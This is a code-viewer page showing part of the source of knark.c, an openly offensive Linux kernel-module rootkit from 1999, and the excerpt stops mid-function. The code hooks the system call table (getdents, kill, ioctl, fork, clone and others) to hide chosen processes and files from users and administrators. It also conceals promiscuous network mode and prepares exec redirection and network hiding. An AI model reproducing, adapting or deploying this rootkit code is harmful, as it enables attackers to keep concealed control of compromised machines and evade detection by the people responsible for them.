📄 knark.c
字号:
/* * knark.c, part of the knark package * (c) Creed @ #hack.se 1999 <creed@sekure.net> * * This lkm is based on heroin.c by Runar Jensen, so credits goes to him. * Heroin.c however offered quite few features, and major changes have been * made, so this isn't the same piece of code anymore. * * This program/lkm may NOT be used in an illegal way, * or to cause damage of any kind. * * See README for more info. */#define __KERNEL_SYSCALLS__#include <linux/version.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/sched.h>#include <linux/socket.h>#include <linux/smp_lock.h>#include <linux/stat.h>#include <linux/dirent.h>#include <linux/fs.h>#include <linux/if.h>#include <linux/modversions.h>#include <linux/malloc.h>#include <linux/unistd.h>#include <linux/string.h>#include <linux/skbuff.h>#include <linux/ip.h>#include <sys/syscall.h>#include <net/protocol.h>#include <net/udp.h>#include <net/icmp.h>#include <linux/dirent.h>#include <linux/proc_fs.h>#include <asm/uaccess.h>#include <asm/errno.h>#include "knark.h"#define PF_INVISIBLE 0x10000000static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count)static inline _syscall2(int, kill, int, pid, int, sig);static inline _syscall3(int, ioctl, int, fd, int, cmd, long, arg);static inline _syscall1(int, fork, int, regs);static inline _syscall1(int, clone, int, regs);static inline _syscall2(int, settimeofday, struct timeval *, tv, struct timezone *, tz);extern void *sys_call_table[];int (*original_getdents)(unsigned int, struct dirent *, unsigned int);int (*original_kill)(int, int);int (*original_read)(unsigned int, char *, size_t);int (*original_ioctl)(int, int, long);int (*original_fork)(struct pt_regs);int (*original_clone)(struct pt_regs);int (*original_execve)(struct pt_regs);int (*original_settimeofday)(struct timeval *, struct timezone *);int knark_atoi(char *);void knark_bcopy(char *, char *, unsigned int);struct task_struct *knark_find_task(pid_t);int knark_is_invisible(pid_t);int knark_hide_process(pid_t);int knark_hide_file(struct inode *, struct dentry *);int knark_unhide_file(struct inode *);int knark_secret_file(ino_t, kdev_t);struct knark_dev_struct *knark_add_secret_dev(kdev_t);struct knark_dev_struct *knark_get_secret_dev(kdev_t);int knark_getdents(unsigned int, struct dirent *, unsigned int);int knark_fork(struct pt_regs);int knark_clone(struct pt_regs);int knark_kill(pid_t, int);int knark_ioctl(int, int, long);int knark_add_nethide(char *);int knark_clear_nethides(void);int knark_read(int, char *, size_t);int knark_settimeofday(struct timeval *, struct timezone *);int knark_add_redirect(struct exec_redirect *);char *knark_redirect_path(char *);int knark_clear_redirects(void);int knark_execve(struct pt_regs regs);int knark_read_pids(char *, char **, off_t, int, int);int knark_read_files(char *, char **, off_t, int, int);int knark_read_redirects(char *, char **, off_t, int, int);int knark_read_nethides(char *, char **, off_t, int, int);int knark_read_author(char *, char **, off_t, int, int);#ifdef FUCKY_REXEC_VERIFYint knark_read_verify_rexec(char *, char **, off_t, int, int);int knark_write_verify_rexec(struct file *, const char *, u_long, void *);#endif /*FUCKY_REXEC_VERIFY*/int knark_do_exec_userprogram(void *);int knark_execve_userprogram(char *, char **, char **, int);int knark_udp_rcv(struct sk_buff *, unsigned short);struct inet_protocol *original_udp_protocol;ino_t knark_ino;int errno;#ifdef FUCKY_REXEC_VERIFYint verify_rexec = 16;#endif /*FUCKY_REXEC_VERIFY*/struct redirect_list{ struct redirect_list *next; struct exec_redirect rl_er;} *knark_redirect_list = NULL;struct nethide_list{ struct nethide_list *next; char *nl_hidestr;} *knark_nethide_list = NULL;struct knark_dev_struct { kdev_t d_dev; int d_nfiles; ino_t d_inode[MAX_SECRET_FILES]; char *d_name[MAX_SECRET_FILES];};struct knark_fs_struct { int f_ndevs; struct knark_dev_struct *f_dev[MAX_SECRET_DEVS];} *kfs;struct execve_args { char *path; char **argv; char **envp;};struct proc_dir_entry knark_dir = { 0, sizeof(MODULE_NAME)-1, MODULE_NAME, S_IFDIR|S_IRUGO|S_IXUGO, 1, 0, 0, 0,};struct proc_dir_entry knark_pids = { 0, 4, "pids", S_IFREG|S_IRUGO, 1, 0, 0, 0, NULL, &knark_read_pids};struct proc_dir_entry knark_files = { 0, 5, "files", S_IFREG|S_IRUGO, 1, 0, 0, 0, NULL, &knark_read_files};struct proc_dir_entry knark_redirects = { 0, 9, "redirects", S_IFREG|S_IRUGO, 1, 0, 0, 0, NULL, &knark_read_redirects};struct proc_dir_entry knark_nethides = { 0, 8, "nethides", S_IFREG|S_IRUGO, 1, 0, 0, 0, NULL, &knark_read_nethides};struct proc_dir_entry knark_author = { 0, 6, "author", S_IFREG|S_IRUGO, 1, 0, 0, 0, NULL, &knark_read_author};#ifdef FUCKY_REXEC_VERIFYstruct proc_dir_entry knark_verify_rexec = { 0, 12, "verify_rexec", S_IFREG|S_IRUGO|S_IWUSR, 1, 0, 0, 0, NULL, &knark_read_verify_rexec, NULL, NULL, NULL, NULL, NULL, NULL, &knark_write_verify_rexec};#endif /*FUCKY_REXEC_VERIFY*/struct inet_protocol knark_udp_protocol ={ &knark_udp_rcv, NULL, NULL, IPPROTO_ICMP, 0, NULL, "ICMP"};int knark_atoi(char *str){ int ret = 0; while (*str) { if(*str < '0' || *str > '9') return -EINVAL; ret *= 10; ret += (*str - '0'); str++; } return ret;}void knark_bcopy(char *src, char *dst, unsigned int num){ while(num-- > 0) *(dst++) = *(src++);}int knark_strcmp(const char *str1, const char *str2){ while(*str1 && *str2) if(*(str1++) != *(str2++)) return -1; return 0;}struct task_struct *knark_find_task(pid_t pid){ struct task_struct *task = current; do { if(task->pid == pid) return task; task = task->next_task; } while(current != task); return NULL;}int knark_is_invisible(pid_t pid){ struct task_struct *task; if(pid < 0) return 0; if( (task = knark_find_task(pid)) == NULL) return 0; if(task->flags & PF_INVISIBLE) return 1; return 0;}int knark_hide_process(pid_t pid){ struct task_struct *task; if( (task = knark_find_task(pid)) == NULL) return 0; task->flags |= PF_INVISIBLE; return 1;}struct knark_dev_struct *knark_add_secret_dev(kdev_t dev){ int current_dev = kfs->f_ndevs; int ndevs = kfs->f_ndevs; struct knark_dev_struct **kds = kfs->f_dev; if(ndevs >= MAX_SECRET_DEVS) return NULL; kds[current_dev] = (struct knark_dev_struct *) kmalloc(sizeof(struct knark_dev_struct), GFP_KERNEL); if(kds[current_dev] == NULL) return NULL; kds[current_dev]->d_dev = dev; kds[current_dev]->d_nfiles = 0; memset(kds[current_dev]->d_inode, 0, MAX_SECRET_FILES * sizeof(ino_t)); memset(kds[current_dev]->d_name, 0, MAX_SECRET_FILES * sizeof(char *)); kfs->f_ndevs++; return kds[current_dev];}struct knark_dev_struct *knark_get_secret_dev(kdev_t dev){ int ndevs = kfs->f_ndevs; struct knark_dev_struct **kds = kfs->f_dev; int i; for(i = 0; i < ndevs; i++) if(kds[i]->d_dev == dev) return kds[i]; return NULL;}int knark_secret_file(ino_t inode, kdev_t dev){ int i; int nfiles; struct knark_dev_struct *kds; kds = knark_get_secret_dev(dev); if(kds == NULL) return 0; nfiles = kds->d_nfiles; for(i = 0; i < nfiles; i++) if(kds->d_inode[i] == inode) return 1; return 0;}int knark_hide_file(struct inode *inode, struct dentry *entry){ char *name, *nameptr[16]; int i, len, namelen = 0; struct knark_dev_struct *kds; ino_t ino = inode->i_ino; kdev_t dev = inode->i_sb->s_dev; if(knark_secret_file(ino, dev)) return -1; kds = knark_get_secret_dev(dev); if(kds == NULL) { kds = knark_add_secret_dev(dev); if(kds == NULL) return -1; } else if(kds->d_nfiles >= MAX_SECRET_FILES) return -1; kds->d_inode[kds->d_nfiles] = ino; if(entry) { memset(nameptr, 0, 16*sizeof(char *)); for(i = 0; i < 16 && entry->d_name.len != 1 && entry->d_name.name[0] != '/'; i++) { nameptr[i] = (char *)entry->d_name.name; namelen += entry->d_name.len; entry = entry->d_parent; } namelen += i + 1; kds->d_name[kds->d_nfiles] = kmalloc(namelen, GFP_KERNEL); name = kds->d_name[kds->d_nfiles]; name[0] = '\0'; for(i = 0; nameptr[i]; i++) ; for(i--; i >= 0; i--) { len = strlen(name); name[len] = '/'; strcpy(&name[len+1], nameptr[i]); } } else kds->d_name[kds->d_nfiles] = NULL; return ++kds->d_nfiles;}int knark_unhide_file(struct inode *inode){ int i; int nfiles; struct knark_dev_struct *kds; ino_t ino = inode->i_ino; kdev_t dev = inode->i_dev; if(!knark_secret_file(ino, dev)) return -1; kds = knark_get_secret_dev(dev); if(kds == NULL) return -1; nfiles = kds->d_nfiles; for(i = 0; i < nfiles; i++) if(kds->d_inode[i] == ino) { kds->d_inode[i] = kds->d_inode[nfiles - 1]; kds->d_inode[nfiles - 1] = 0; if(kds->d_name[nfiles - 1]) kfree(kds->d_name[nfiles - 1]); return --kds->d_nfiles; } return -1;}int knark_getdents(unsigned int fd, struct dirent *dirp, unsigned int count){ int ret; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; kdev_t dev; ret = (*original_getdents)(fd, dirp, count); if(ret <= 0) return ret; dinode = current->files->fd[fd]->f_dentry->d_inode; dev = dinode->i_sb->s_dev; if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc++; while(ptr < (char *)dirp + ret) { curr = (struct dirent *)ptr; if( (proc && (curr->d_ino == knark_ino || knark_is_invisible(knark_atoi(curr->d_name)))) || knark_secret_file(curr->d_ino, dev)) { if(curr == dirp) { ret -= curr->d_reclen; knark_bcopy(ptr + curr->d_reclen, ptr, ret); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return ret;}int knark_fork(struct pt_regs regs){ pid_t pid; int hide = 0; if(knark_is_invisible(current->pid)) hide++; pid = (*original_fork)(regs); if(hide && pid > 0) knark_hide_process(pid); return pid;}int knark_clone(struct pt_regs regs){ pid_t pid; int hide = 0; if(knark_is_invisible(current->pid)) hide++; pid = (*original_clone)(regs); if(hide && pid > 0) knark_hide_process(pid); return pid;}int knark_kill(pid_t pid, int sig){ struct task_struct *task; if(sig != SIGINVISIBLE && sig != SIGVISIBLE) return (*original_kill)(pid, sig); if((task = knark_find_task(pid)) == NULL) return -ESRCH; if(current->uid && current->euid) return -EPERM; if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE; else task->flags &= ~PF_INVISIBLE; return 0;}int knark_ioctl(int fd, int cmd, long arg){ int ret; struct ifreq ifr; struct inode *inode; struct dentry *entry; if(cmd != KNARK_ELITE_CMD) { ret = (*original_ioctl)(fd, cmd, arg); if(!ret && cmd == SIOCGIFFLAGS) { copy_from_user(&ifr, (void *)arg, sizeof(struct ifreq)); ifr.ifr_ifru.ifru_flags &= ~IFF_PROMISC; copy_to_user((void *)arg, &ifr, sizeof(struct ifreq)); } return ret; } if(current->files->fd[fd] == NULL) return -1; entry = current->files->fd[fd]->f_dentry; inode = entry->d_inode; switch(arg) { case KNARK_HIDE_FILE: ret = knark_hide_file(inode, entry); break; case KNARK_UNHIDE_FILE: ret = knark_unhide_file(inode); break; default: return -EINVAL; } return ret;}int knark_add_nethide(char *hidestr){
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -